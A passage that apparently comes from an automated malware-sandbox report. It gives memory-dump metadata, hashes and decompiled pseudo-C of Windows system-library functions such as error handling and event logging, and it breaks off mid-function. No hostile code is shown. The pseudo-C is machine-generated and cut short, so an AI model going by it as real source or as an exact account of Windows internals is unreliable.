                                      0x0369d349
                                      0x00000000
                                      0x0369d349

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: @
                                      • API String ID: 0-2766056989
                                      • Opcode ID: dd9b95c5ae4c8e20dd7a6f33885a294e4f335b974cc190f91faeb650d56f6099
                                      • Instruction ID: bb83148573b4aa9eb124071b36aa935db44342d8c0a5fe6e466c64a615f3956a
                                      • Opcode Fuzzy Hash: dd9b95c5ae4c8e20dd7a6f33885a294e4f335b974cc190f91faeb650d56f6099
                                      • Instruction Fuzzy Hash: 4B318DB5508705AFDB21DF29C98096BBBECEB8A654F040A2EF994C7210D635DD05CB92
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 72%
                                      			E03671B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
                                      				intOrPtr _v8;
                                      				char _v16;
                                      				intOrPtr* _t26;
                                      				intOrPtr _t29;
                                      				void* _t30;
                                      				signed int _t31;
                                      
                                      				_t27 = __ecx;
                                      				_t29 = __edx;
                                      				_t31 = 0;
                                      				_v8 = __edx;
                                      				if(__edx == 0) {
                                      					L18:
                                      					_t30 = 0xc000000d;
                                      					goto L12;
                                      				} else {
                                      					_t26 = _a4;
                                      					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
                                      						goto L18;
                                      					} else {
                                      						E036ABB40(__ecx,  &_v16, __ecx);
                                      						_push(_t26);
                                      						_push(0);
                                      						_push(0);
                                      						_push(_t29);
                                      						_push( &_v16);
                                      						_t30 = E036AA9B0();
                                      						if(_t30 >= 0) {
                                      							_t19 =  *_t26;
                                      							if( *_t26 != 0) {
                                      								goto L7;
                                      							} else {
                                      								 *_a8 =  *_a8 & 0;
                                      							}
                                      						} else {
                                      							if(_t30 != 0xc0000023) {
                                      								L9:
                                      								_push(_t26);
                                      								_push( *_t26);
                                      								_push(_t31);
                                      								_push(_v8);
                                      								_push( &_v16);
                                      								_t30 = E036AA9B0();
                                      								if(_t30 < 0) {
                                      									L12:
                                      									if(_t31 != 0) {
                                      										L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
                                      									}
                                      								} else {
                                      									 *_a8 = _t31;
                                      								}
                                      							} else {
                                      								_t19 =  *_t26;
                                      								if( *_t26 == 0) {
                                      									_t31 = 0;
                                      								} else {
                                      									L7:
                                      									_t31 = L03684620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
                                      								}
                                      								if(_t31 == 0) {
                                      									_t30 = 0xc0000017;
                                      								} else {
                                      									goto L9;
                                      								}
                                      							}
                                      						}
                                      					}
                                      				}
                                      				return _t30;
                                      			}









                                      0x03671b8f
                                      0x03671b9a
                                      0x03671b9c
                                      0x03671b9e
                                      0x03671ba3
                                      0x036c7010
                                      0x036c7010
                                      0x00000000
                                      0x03671ba9
                                      0x03671ba9
                                      0x03671bae
                                      0x00000000
                                      0x03671bc5
                                      0x03671bca
                                      0x03671bcf
                                      0x03671bd0
                                      0x03671bd1
                                      0x03671bd2
                                      0x03671bd6
                                      0x03671bdc
                                      0x03671be0
                                      0x036c6ffc
                                      0x036c7000
                                      0x00000000
                                      0x036c7006
                                      0x036c7009
                                      0x036c7009
                                      0x03671be6
                                      0x03671bec
                                      0x03671c0b
                                      0x03671c0b
                                      0x03671c0c
                                      0x03671c11
                                      0x03671c12
                                      0x03671c15
                                      0x03671c1b
                                      0x03671c1f
                                      0x03671c31
                                      0x03671c33
                                      0x036c7026
                                      0x036c7026
                                      0x03671c21
                                      0x03671c24
                                      0x03671c24
                                      0x03671bee
                                      0x03671bee
                                      0x03671bf2
                                      0x03671c3a
                                      0x03671bf4
                                      0x03671bf4
                                      0x03671c05
                                      0x03671c05
                                      0x03671c09
                                      0x03671c3e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03671c09
                                      0x03671bec
                                      0x03671be0
                                      0x03671bae
                                      0x03671c2e

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: WindowsExcludedProcs
                                      • API String ID: 0-3583428290
                                      • Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
                                      • Instruction ID: e1d1f51a2e7bcb61245076c070d55a1b2432cd905e341ee9999a3cda847bbe30
                                      • Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
                                      • Instruction Fuzzy Hash: 5F21D777601628AFCB21DB99C941F6BB7ADEF47A50F09446AFD049B300DA34DD01DBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0368F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
                                      				intOrPtr _t13;
                                      				intOrPtr _t14;
                                      				signed int _t16;
                                      				signed char _t17;
                                      				intOrPtr _t19;
                                      				intOrPtr _t21;
                                      				intOrPtr _t23;
                                      				intOrPtr* _t25;
                                      
                                      				_t25 = _a8;
                                      				_t17 = __ecx;
                                      				if(_t25 == 0) {
                                      					_t19 = 0xc00000f2;
                                      					L8:
                                      					return _t19;
                                      				}
                                      				if((__ecx & 0xfffffffe) != 0) {
                                      					_t19 = 0xc00000ef;
                                      					goto L8;
                                      				}
                                      				_t19 = 0;
                                      				 *_t25 = 0;
                                      				_t21 = 0;
                                      				_t23 = "Actx ";
                                      				if(__edx != 0) {
                                      					if(__edx == 0xfffffffc) {
                                      						L21:
                                      						_t21 = 0x200;
                                      						L5:
                                      						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
                                      						 *_t25 = _t13;
                                      						L6:
                                      						if(_t13 == 0) {
                                      							if((_t17 & 0x00000001) != 0) {
                                      								 *_t25 = _t23;
                                      							}
                                      						}
                                      						L7:
                                      						goto L8;
                                      					}
                                      					if(__edx == 0xfffffffd) {
                                      						 *_t25 = _t23;
                                      						_t13 = _t23;
                                      						goto L6;
                                      					}
                                      					_t13 =  *((intOrPtr*)(__edx + 0x10));
                                      					 *_t25 = _t13;
                                      					L14:
                                      					if(_t21 == 0) {
                                      						goto L6;
                                      					}
                                      					goto L5;
                                      				}
                                      				_t14 = _a4;
                                      				if(_t14 != 0) {
                                      					_t16 =  *(_t14 + 0x14) & 0x00000007;
                                      					if(_t16 <= 1) {
                                      						_t21 = 0x1f8;
                                      						_t13 = 0;
                                      						goto L14;
                                      					}
                                      					if(_t16 == 2) {
                                      						goto L21;
                                      					}
                                      					if(_t16 != 4) {
                                      						_t19 = 0xc00000f0;
                                      						goto L7;
                                      					}
                                      					_t13 = 0;
                                      					goto L6;
                                      				} else {
                                      					_t21 = 0x1f8;
                                      					goto L5;
                                      				}
                                      			}











                                      0x0368f71d
                                      0x0368f722
                                      0x0368f726
                                      0x036d4770
                                      0x0368f765
                                      0x0368f769
                                      0x0368f769
                                      0x0368f732
                                      0x036d477a
                                      0x00000000
                                      0x036d477a
                                      0x0368f738
                                      0x0368f73a
                                      0x0368f73c
                                      0x0368f73f
                                      0x0368f746
                                      0x0368f778
                                      0x0368f7a9
                                      0x0368f7a9
                                      0x0368f754
                                      0x0368f75a
                                      0x0368f75d
                                      0x0368f75f
                                      0x0368f761
                                      0x0368f76f
                                      0x0368f771
                                      0x0368f771
                                      0x0368f76f
                                      0x0368f763
                                      0x00000000
                                      0x0368f763
                                      0x0368f77d
                                      0x0368f7a3
                                      0x0368f7a5
                                      0x00000000
                                      0x0368f7a5
                                      0x0368f77f
                                      0x0368f782
                                      0x0368f784
                                      0x0368f786
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0368f788
                                      0x0368f748
                                      0x0368f74d
                                      0x0368f78d
                                      0x0368f793
                                      0x0368f7b7
                                      0x0368f7bc
                                      0x00000000
                                      0x0368f7bc
                                      0x0368f798
                                      0x00000000
                                      0x00000000
                                      0x0368f79d
                                      0x0368f7b0
                                      0x00000000
                                      0x0368f7b0
                                      0x0368f79f
                                      0x00000000
                                      0x0368f74f
                                      0x0368f74f
                                      0x00000000
                                      0x0368f74f

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: Actx
                                      • API String ID: 0-89312691
                                      • Opcode ID: 9f4b3a79922c96d7eab6495ebc60b77a5bb9399701e845fc2e8ccd49b48a9a43
                                      • Instruction ID: c229ba7de3acbf044afca18338de37301c841a0b4b25467a1d411df8ac1b3c3d
                                      • Opcode Fuzzy Hash: 9f4b3a79922c96d7eab6495ebc60b77a5bb9399701e845fc2e8ccd49b48a9a43
                                      • Instruction Fuzzy Hash: 5611B6357046028BF724EF1DB69C736B2D9EB9E624F28472AE561DF391DB74C8428340
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 71%
                                      			E03718DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
                                      				intOrPtr _t35;
                                      				void* _t41;
                                      
                                      				_t40 = __esi;
                                      				_t39 = __edi;
                                      				_t38 = __edx;
                                      				_t35 = __ecx;
                                      				_t34 = __ebx;
                                      				_push(0x74);
                                      				_push(0x3740d50);
                                      				E036BD0E8(__ebx, __edi, __esi);
                                      				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
                                      				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
                                      				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
                                      					E036F5720(0x65, 0, "Critical error detected %lx\n", _t35);
                                      					if( *((intOrPtr*)(_t41 + 8)) != 0) {
                                      						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
                                      						asm("int3");
                                      						 *(_t41 - 4) = 0xfffffffe;
                                      					}
                                      				}
                                      				 *(_t41 - 4) = 1;
                                      				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
                                      				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
                                      				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
                                      				 *((intOrPtr*)(_t41 - 0x64)) = L036BDEF0;
                                      				 *((intOrPtr*)(_t41 - 0x60)) = 1;
                                      				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
                                      				_push(_t41 - 0x70);
                                      				L036BDEF0(1, _t38);
                                      				 *(_t41 - 4) = 0xfffffffe;
                                      				return E036BD130(_t34, _t39, _t40);
                                      			}





                                      0x03718df1
                                      0x03718df1
                                      0x03718df1
                                      0x03718df1
                                      0x03718df1
                                      0x03718df1
                                      0x03718df3
                                      0x03718df8
                                      0x03718dfd
                                      0x03718e00
                                      0x03718e0e
                                      0x03718e2a
                                      0x03718e36
                                      0x03718e38
                                      0x03718e3c
                                      0x03718e46
                                      0x03718e46
                                      0x03718e36
                                      0x03718e50
                                      0x03718e56
                                      0x03718e59
                                      0x03718e5c
                                      0x03718e60
                                      0x03718e67
                                      0x03718e6d
                                      0x03718e73
                                      0x03718e74
                                      0x03718eb1
                                      0x03718ebd

                                      Strings
                                      • Critical error detected %lx, xrefs: 03718E21
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: Critical error detected %lx
                                      • API String ID: 0-802127002
                                      • Opcode ID: ad8ef2879fd5a1204c05de15f0dd36904d99864c5bf6e0641b9fb9cea45cd05b
                                      • Instruction ID: 477bb6b0692e6d61063bab37659a4a768e64b96a8fa70139a2eab64941692624
                                      • Opcode Fuzzy Hash: ad8ef2879fd5a1204c05de15f0dd36904d99864c5bf6e0641b9fb9cea45cd05b
                                      • Instruction Fuzzy Hash: D8113976D14348EADB24CFA885057DDBBB1AB04314F24426DE529AF292C3745606CF16
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Strings
                                      • NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 036FFF60
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
                                      • API String ID: 0-1911121157
                                      • Opcode ID: be01483b292a9c1df08e8f0e7864a99d301bf166331670f71bde92c51ffb73db
                                      • Instruction ID: df17237516a83dfb157ac00c9df135e1157466d15dde72f4705a00b4f4ab8902
                                      • Opcode Fuzzy Hash: be01483b292a9c1df08e8f0e7864a99d301bf166331670f71bde92c51ffb73db
                                      • Instruction Fuzzy Hash: 0811C075911244EFDB26EF50CA48F9CBBB1FF09714F188458F6096F2A1C7799980CB50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 88%
                                      			E03735BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
                                      				signed int _t296;
                                      				signed char _t298;
                                      				signed int _t301;
                                      				signed int _t306;
                                      				signed int _t310;
                                      				signed char _t311;
                                      				intOrPtr _t312;
                                      				signed int _t313;
                                      				void* _t327;
                                      				signed int _t328;
                                      				intOrPtr _t329;
                                      				intOrPtr _t333;
                                      				signed char _t334;
                                      				signed int _t336;
                                      				void* _t339;
                                      				signed int _t340;
                                      				signed int _t356;
                                      				signed int _t362;
                                      				short _t367;
                                      				short _t368;
                                      				short _t373;
                                      				signed int _t380;
                                      				void* _t382;
                                      				short _t385;
                                      				signed short _t392;
                                      				signed char _t393;
                                      				signed int _t395;
                                      				signed char _t397;
                                      				signed int _t398;
                                      				signed short _t402;
                                      				void* _t406;
                                      				signed int _t412;
                                      				signed char _t414;
                                      				signed short _t416;
                                      				signed int _t421;
                                      				signed char _t427;
                                      				intOrPtr _t434;
                                      				signed char _t435;
                                      				signed int _t436;
                                      				signed int _t442;
                                      				signed int _t446;
                                      				signed int _t447;
                                      				signed int _t451;
                                      				signed int _t453;
                                      				signed int _t454;
                                      				signed int _t455;
                                      				intOrPtr _t456;
                                      				intOrPtr* _t457;
                                      				short _t458;
                                      				signed short _t462;
                                      				signed int _t469;
                                      				intOrPtr* _t474;
                                      				signed int _t475;
                                      				signed int _t479;
                                      				signed int _t480;
                                      				signed int _t481;
                                      				short _t485;
                                      				signed int _t491;
                                      				signed int* _t494;
                                      				signed int _t498;
                                      				signed int _t505;
                                      				intOrPtr _t506;
                                      				signed short _t508;
                                      				signed int _t511;
                                      				void* _t517;
                                      				signed int _t519;
                                      				signed int _t522;
                                      				void* _t523;
                                      				signed int _t524;
                                      				void* _t528;
                                      				signed int _t529;
                                      
                                      				_push(0xd4);
                                      				_push(0x3741178);
                                      				E036BD0E8(__ebx, __edi, __esi);
                                      				_t494 = __edx;
                                      				 *(_t528 - 0xcc) = __edx;
                                      				_t511 = __ecx;
                                      				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
                                      				 *(_t528 - 0xbc) = __ecx;
                                      				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
                                      				_t434 =  *((intOrPtr*)(_t528 + 0x24));
                                      				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
                                      				_t427 = 0;
                                      				 *(_t528 - 0x74) = 0;
                                      				 *(_t528 - 0x9c) = 0;
                                      				 *(_t528 - 0x84) = 0;
                                      				 *(_t528 - 0xac) = 0;
                                      				 *(_t528 - 0x88) = 0;
                                      				 *(_t528 - 0xa8) = 0;
                                      				 *((intOrPtr*)(_t434 + 0x40)) = 0;
                                      				if( *(_t528 + 0x1c) <= 0x80) {
                                      					__eflags =  *(__ecx + 0xc0) & 0x00000004;
                                      					if(__eflags != 0) {
                                      						_t421 = E03734C56(0, __edx, __ecx, __eflags);
                                      						__eflags = _t421;
                                      						if(_t421 != 0) {
                                      							 *((intOrPtr*)(_t528 - 4)) = 0;
                                      							E036AD000(0x410);
                                      							 *(_t528 - 0x18) = _t529;
                                      							 *(_t528 - 0x9c) = _t529;
                                      							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
                                      							E03735542(_t528 - 0x9c, _t528 - 0x84);
                                      						}
                                      					}
                                      					_t435 = _t427;
                                      					 *(_t528 - 0xd0) = _t435;
                                      					_t474 = _t511 + 0x65;
                                      					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
                                      					_t511 = 0x18;
                                      					while(1) {
                                      						 *(_t528 - 0xa0) = _t427;
                                      						 *(_t528 - 0xbc) = _t427;
                                      						 *(_t528 - 0x80) = _t427;
                                      						 *(_t528 - 0x78) = 0x50;
                                      						 *(_t528 - 0x79) = _t427;
                                      						 *(_t528 - 0x7a) = _t427;
                                      						 *(_t528 - 0x8c) = _t427;
                                      						 *(_t528 - 0x98) = _t427;
                                      						 *(_t528 - 0x90) = _t427;
                                      						 *(_t528 - 0xb0) = _t427;
                                      						 *(_t528 - 0xb8) = _t427;
                                      						_t296 = 1 << _t435;
                                      						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
                                      						__eflags = _t436 & _t296;
                                      						if((_t436 & _t296) != 0) {
                                      							goto L92;
                                      						}
                                      						__eflags =  *((char*)(_t474 - 1));
                                      						if( *((char*)(_t474 - 1)) == 0) {
                                      							goto L92;
                                      						}
                                      						_t301 =  *_t474;
                                      						__eflags = _t494[1] - _t301;
                                      						if(_t494[1] <= _t301) {
                                      							L10:
                                      							__eflags =  *(_t474 - 5) & 0x00000040;
                                      							if(( *(_t474 - 5) & 0x00000040) == 0) {
                                      								L12:
                                      								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
                                      								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
                                      									goto L92;
                                      								}
                                      								_t442 =  *(_t474 - 0x11) & _t494[3];
                                      								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
                                      								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
                                      									goto L92;
                                      								}
                                      								__eflags = _t442 -  *(_t474 - 0x11);
                                      								if(_t442 !=  *(_t474 - 0x11)) {
                                      									goto L92;
                                      								}
                                      								L15:
                                      								_t306 =  *(_t474 + 1) & 0x000000ff;
                                      								 *(_t528 - 0xc0) = _t306;
                                      								 *(_t528 - 0xa4) = _t306;
                                      								__eflags =  *0x37560e8;
                                      								if( *0x37560e8 != 0) {
                                      									__eflags = _t306 - 0x40;
                                      									if(_t306 < 0x40) {
                                      										L20:
                                      										asm("lock inc dword [eax]");
                                      										_t310 =  *0x37560e8; // 0x0
                                      										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
                                      										__eflags = _t311 & 0x00000001;
                                      										if((_t311 & 0x00000001) == 0) {
                                      											 *(_t528 - 0xa0) = _t311;
                                      											_t475 = _t427;
                                      											 *(_t528 - 0x74) = _t427;
                                      											__eflags = _t475;
                                      											if(_t475 != 0) {
                                      												L91:
                                      												_t474 =  *((intOrPtr*)(_t528 - 0x94));
                                      												goto L92;
                                      											}
                                      											asm("sbb edi, edi");
                                      											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
                                      											_t511 = _t498;
                                      											_t312 =  *((intOrPtr*)(_t528 - 0x94));
                                      											__eflags =  *(_t312 - 5) & 1;
                                      											if(( *(_t312 - 5) & 1) != 0) {
                                      												_push(_t528 - 0x98);
                                      												_push(0x4c);
                                      												_push(_t528 - 0x70);
                                      												_push(1);
                                      												_push(0xfffffffa);
                                      												_t412 = E036A9710();
                                      												_t475 = _t427;
                                      												__eflags = _t412;
                                      												if(_t412 >= 0) {
                                      													_t414 =  *(_t528 - 0x98) - 8;
                                      													 *(_t528 - 0x98) = _t414;
                                      													_t416 = _t414 + 0x0000000f & 0x0000fff8;
                                      													 *(_t528 - 0x8c) = _t416;
                                      													 *(_t528 - 0x79) = 1;
                                      													_t511 = (_t416 & 0x0000ffff) + _t498;
                                      													__eflags = _t511;
                                      												}
                                      											}
                                      											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
                                      											__eflags = _t446 & 0x00000004;
                                      											if((_t446 & 0x00000004) != 0) {
                                      												__eflags =  *(_t528 - 0x9c);
                                      												if( *(_t528 - 0x9c) != 0) {
                                      													 *(_t528 - 0x7a) = 1;
                                      													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
                                      													__eflags = _t511;
                                      												}
                                      											}
                                      											_t313 = 2;
                                      											_t447 = _t446 & _t313;
                                      											__eflags = _t447;
                                      											 *(_t528 - 0xd4) = _t447;
                                      											if(_t447 != 0) {
                                      												_t406 = 0x10;
                                      												_t511 = _t511 + _t406;
                                      												__eflags = _t511;
                                      											}
                                      											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
                                      											 *(_t528 - 0x88) = _t427;
                                      											__eflags =  *(_t528 + 0x1c);
                                      											if( *(_t528 + 0x1c) <= 0) {
                                      												L45:
                                      												__eflags =  *(_t528 - 0xb0);
                                      												if( *(_t528 - 0xb0) != 0) {
                                      													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
                                      													__eflags = _t511;
                                      												}
                                      												__eflags = _t475;
                                      												if(_t475 != 0) {
                                      													asm("lock dec dword [ecx+edx*8+0x4]");
                                      													goto L100;
                                      												} else {
                                      													_t494[3] = _t511;
                                      													_t451 =  *(_t528 - 0xa0);
                                      													_t427 = E036A6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
                                      													 *(_t528 - 0x88) = _t427;
                                      													__eflags = _t427;
                                      													if(_t427 == 0) {
                                      														__eflags = _t511 - 0xfff8;
                                      														if(_t511 <= 0xfff8) {
                                      															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
                                      															asm("sbb ecx, ecx");
                                      															__eflags = (_t451 & 0x000000e2) + 8;
                                      														}
                                      														asm("lock dec dword [eax+edx*8+0x4]");
                                      														L100:
                                      														goto L101;
                                      													}
                                      													_t453 =  *(_t528 - 0xa0);
                                      													 *_t494 = _t453;
                                      													_t494[1] = _t427;
                                      													_t494[2] =  *(_t528 - 0xbc);
                                      													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
                                      													 *_t427 =  *(_t453 + 0x24) | _t511;
                                      													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
                                      													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													__eflags =  *(_t528 + 0x14);
                                      													if( *(_t528 + 0x14) == 0) {
                                      														__eflags =  *[fs:0x18] + 0xf50;
                                      													}
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													asm("movsd");
                                      													__eflags =  *(_t528 + 0x18);
                                      													if( *(_t528 + 0x18) == 0) {
                                      														_t454 =  *(_t528 - 0x80);
                                      														_t479 =  *(_t528 - 0x78);
                                      														_t327 = 1;
                                      														__eflags = 1;
                                      													} else {
                                      														_t146 = _t427 + 0x50; // 0x50
                                      														_t454 = _t146;
                                      														 *(_t528 - 0x80) = _t454;
                                      														_t382 = 0x18;
                                      														 *_t454 = _t382;
                                      														 *((short*)(_t454 + 2)) = 1;
                                      														_t385 = 0x10;
                                      														 *((short*)(_t454 + 6)) = _t385;
                                      														 *(_t454 + 4) = 0;
                                      														asm("movsd");
                                      														asm("movsd");
                                      														asm("movsd");
                                      														asm("movsd");
                                      														_t327 = 1;
                                      														 *(_t427 + 4) =  *(_t427 + 4) | 1;
                                      														_t479 = 0x68;
                                      														 *(_t528 - 0x78) = _t479;
                                      													}
                                      													__eflags =  *(_t528 - 0x79) - _t327;
                                      													if( *(_t528 - 0x79) == _t327) {
                                      														_t524 = _t479 + _t427;
                                      														_t508 =  *(_t528 - 0x8c);
                                      														 *_t524 = _t508;
                                      														_t373 = 2;
                                      														 *((short*)(_t524 + 2)) = _t373;
                                      														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
                                      														 *((short*)(_t524 + 4)) = 0;
                                      														_t167 = _t524 + 8; // 0x8
                                      														E036AF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
                                      														_t529 = _t529 + 0xc;
                                      														 *(_t427 + 4) =  *(_t427 + 4) | 1;
                                      														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
                                      														 *(_t528 - 0x78) = _t479;
                                      														_t380 =  *(_t528 - 0x80);
                                      														__eflags = _t380;
                                      														if(_t380 != 0) {
                                      															_t173 = _t380 + 4;
                                      															 *_t173 =  *(_t380 + 4) | 1;
                                      															__eflags =  *_t173;
                                      														}
                                      														_t454 = _t524;
                                      														 *(_t528 - 0x80) = _t454;
                                      														_t327 = 1;
                                      														__eflags = 1;
                                      													}
                                      													__eflags =  *(_t528 - 0xd4);
                                      													if( *(_t528 - 0xd4) == 0) {
                                      														_t505 =  *(_t528 - 0x80);
                                      													} else {
                                      														_t505 = _t479 + _t427;
                                      														_t523 = 0x10;
                                      														 *_t505 = _t523;
                                      														_t367 = 3;
                                      														 *((short*)(_t505 + 2)) = _t367;
                                      														_t368 = 4;
                                      														 *((short*)(_t505 + 6)) = _t368;
                                      														 *(_t505 + 4) = 0;
                                      														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
                                      														_t327 = 1;
                                      														 *(_t427 + 4) =  *(_t427 + 4) | 1;
                                      														_t479 = _t479 + _t523;
                                      														 *(_t528 - 0x78) = _t479;
                                      														__eflags = _t454;
                                      														if(_t454 != 0) {
                                      															_t186 = _t454 + 4;
                                      															 *_t186 =  *(_t454 + 4) | 1;
                                      															__eflags =  *_t186;
                                      														}
                                      														 *(_t528 - 0x80) = _t505;
                                      													}
                                      													__eflags =  *(_t528 - 0x7a) - _t327;
                                      													if( *(_t528 - 0x7a) == _t327) {
                                      														 *(_t528 - 0xd4) = _t479 + _t427;
                                      														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
                                      														E036AF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
                                      														_t529 = _t529 + 0xc;
                                      														 *(_t427 + 4) =  *(_t427 + 4) | 1;
                                      														_t479 =  *(_t528 - 0x78) + _t522;
                                      														 *(_t528 - 0x78) = _t479;
                                      														__eflags = _t505;
                                      														if(_t505 != 0) {
                                      															_t199 = _t505 + 4;
                                      															 *_t199 =  *(_t505 + 4) | 1;
                                      															__eflags =  *_t199;
                                      														}
                                      														_t505 =  *(_t528 - 0xd4);
                                      														 *(_t528 - 0x80) = _t505;
                                      													}
                                      													__eflags =  *(_t528 - 0xa8);
                                      													if( *(_t528 - 0xa8) != 0) {
                                      														_t356 = _t479 + _t427;
                                      														 *(_t528 - 0xd4) = _t356;
                                      														_t462 =  *(_t528 - 0xac);
                                      														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
                                      														_t485 = 0xc;
                                      														 *((short*)(_t356 + 2)) = _t485;
                                      														 *(_t356 + 6) = _t462;
                                      														 *((short*)(_t356 + 4)) = 0;
                                      														_t211 = _t356 + 8; // 0x9
                                      														E036AF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
                                      														E036AFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
                                      														_t529 = _t529 + 0x18;
                                      														_t427 =  *(_t528 - 0x88);
                                      														 *(_t427 + 4) =  *(_t427 + 4) | 1;
                                      														_t505 =  *(_t528 - 0xd4);
                                      														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
                                      														 *(_t528 - 0x78) = _t479;
                                      														_t362 =  *(_t528 - 0x80);
                                      														__eflags = _t362;
                                      														if(_t362 != 0) {
                                      															_t222 = _t362 + 4;
                                      															 *_t222 =  *(_t362 + 4) | 1;
                                      															__eflags =  *_t222;
                                      														}
                                      													}
                                      													__eflags =  *(_t528 - 0xb0);
                                      													if( *(_t528 - 0xb0) != 0) {
